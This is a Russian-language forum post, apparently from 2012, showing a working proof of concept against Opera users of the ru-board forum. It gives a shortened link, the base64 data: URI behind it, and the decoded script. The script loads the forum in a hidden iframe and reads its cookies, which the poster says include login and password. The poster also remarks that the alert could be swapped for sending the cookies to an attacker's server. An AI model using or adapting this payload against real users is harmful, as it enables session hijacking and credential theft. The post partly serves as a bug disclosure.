DrakonHaSh
Silver Member | Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
хи, хи, опероводы, кликаем по ссылке и наблюдаем свои куки (в т.ч. логин и пароль) от руборды 
http://tinyurl.com/8nphb4d
(ссылка на описание и метод эксплуатации баги в сообщении от kvazigorynich выше)
Добавлено:
ссылка безопасна, в ней исполняентся alert(document.frames[0].document.cookie);
но злым товаришчам не что не мешает вставить по такому же принципу отправку ваших кук к себе на злой сервер
подробнее:
http://preview.tinyurl.com/8nphb4d
=>
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWV
udC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24u
cmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZ
W50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bm
N0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGV
tZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7
aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zc
mMgPSAnaHR0cCc7aS5zcmMrPWRvY3VtZW50LnJlZmVycm
VyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5
ydS1ib2FyZC5jb20vYm9hcmQvYm9hcmQuY3NzJztpLm9u
bG9hZD1mdW5jdGlvbigpe2EoKX07ZG9jdW1lbnQuYm9ke
S5hcHBlbmRDaGlsZChpKX08L3NjcmlwdD48Ym9keSBvbm
xvYWQ9YigpPg==
=>
<script>if(document.domain=='tinyurl.com')location.reload();function a(){alert(document.frames[0].document.cookie)}function b(){var i=document.createElement('iframe');i.style='width:0px;height:0px;visibility:hidden';i.src = 'http';i.src+=document.referrer.length?'':'s';i.src+='://forum.ru-board.com/board/board.css';i.onload=function(){a()};document.body.appendChild(i)}</script><body onload=b()>
=>
Код: <script>
if (document.domain == 'tinyurl.com') location.reload();
function a() {
alert(document.frames[0].document.cookie)
}
function b() {
var i = document.createElement('iframe');
i.style = 'width:0px;height:0px;visibility:hidden';
i.src = 'http';
i.src += document.referrer.length ? '' : 's';
i.src += '://forum.ru-board.com/board/board.css';
i.onload = function () {
a()
};
document.body.appendChild(i)
}
</script>
<body onload=b()>
|
|
Всего записей: 2078 | Зарегистр. 08-01-2008 | Отправлено: 12:21 06-10-2012 | Исправлено: DrakonHaSh, 12:46 06-10-2012 |
|
Этот шустренький, как и раньше в отличие от 
ради этой абракадабры по несколько часов бывает сидишь, чтоб придумать как фильтр обойти